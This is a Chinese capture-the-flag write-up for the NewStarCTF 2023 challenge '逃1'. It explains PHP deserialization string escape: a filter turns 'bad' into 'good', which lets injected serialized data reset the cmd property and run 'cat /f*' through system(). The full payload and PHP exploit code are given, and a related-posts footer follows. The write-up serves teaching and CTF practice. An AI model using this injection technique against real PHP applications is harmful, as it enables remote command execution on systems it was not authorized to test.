[NewStarCTF 2023 公开赛道]逃1

代码审计.

这段代码分为三部分:1.war函数,2.GetFlag类,3.GetFlag类对象的定义,waf过滤以及反序列化 .

很经典的的一道题,键值对逃逸,改变cmd的value,去获取flag.

而war就是我们的突破点(str_replace("bad","good",$str);).

开始构造payload

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

为什么这么构造呢?

让我们先来看一下未经过waf过滤后的value.

php 复制代码
<?php
 
class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}');
echo serialize($g);
 
?>

value:

O:7:"GetFlag":2:{s:3:"key";O:7:"GetFlag":2:{s:3:"key";s:108:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}";s:3:"cmd";s:6:"whoami";}

我们只需要把上面的红色部分过滤掉就可以了,而过滤则通过waf来逃逸掉,waf可以把bad变成good,每一个bad就可以过滤一个char,绿色部分就是我们要过滤的数量为27,所以需要27个bad.

看一下过滤后的value.

exp:

php 复制代码
<?php
 
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}');
echo serialize(waf(serialize(new GetFlag($g))));
 
?>

value:

s:246:"O:7:"GetFlag":2:{s:3:"key";O:7:"GetFlag":2:{s:3:"key";s:108:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:7:"cat /f*";}";s:3:"cmd";s:6:"whoami";}s:3:"cmd";s:6:"whoami";}";

此时反序列化时,红色部分就会被过滤掉.

获得flag,游戏结束~

相关推荐
云空8 小时前
《DeepSeek 网页/API 性能异常(DeepSeek Web/API Degraded Performance):网络安全日志》
运维·人工智能·web安全·网络安全·开源·网络攻击模型·安全威胁分析
doubt。8 小时前
8.攻防世界Web_php_wrong_nginx_config
网络·安全·web安全·网络安全
aaaweiaaaaaa11 小时前
php的使用及 phpstorm环境部署
android·web安全·网络安全·php·storm
泪不是Web妳而流16 小时前
BurpSuite抓包与HTTP基础
网络·经验分享·网络协议·安全·http·网络安全·学习方法
doubt。17 小时前
3.攻防世界Web_php_unserialize
网络·安全·web安全·网络安全·php·代码复审
doubt。20 小时前
1.攻防世界easyphp
网络·安全·web安全·网络安全·php·代码复审
垚垚 Securify 前沿站1 天前
CVE-2023-38831 漏洞复现:win10 压缩包挂马攻击剖析
网络·计算机网络·安全·web安全·系统安全
浩浩测试一下1 天前
渗透测试之WAF组合条件绕过方式手法详解以及SQL注入参数污染绕过
安全·web安全·网络安全·系统安全·可信计算技术·安全架构
codkingo1 天前
CSRF 跨站请求伪造漏洞
web安全·http·网络安全·csrf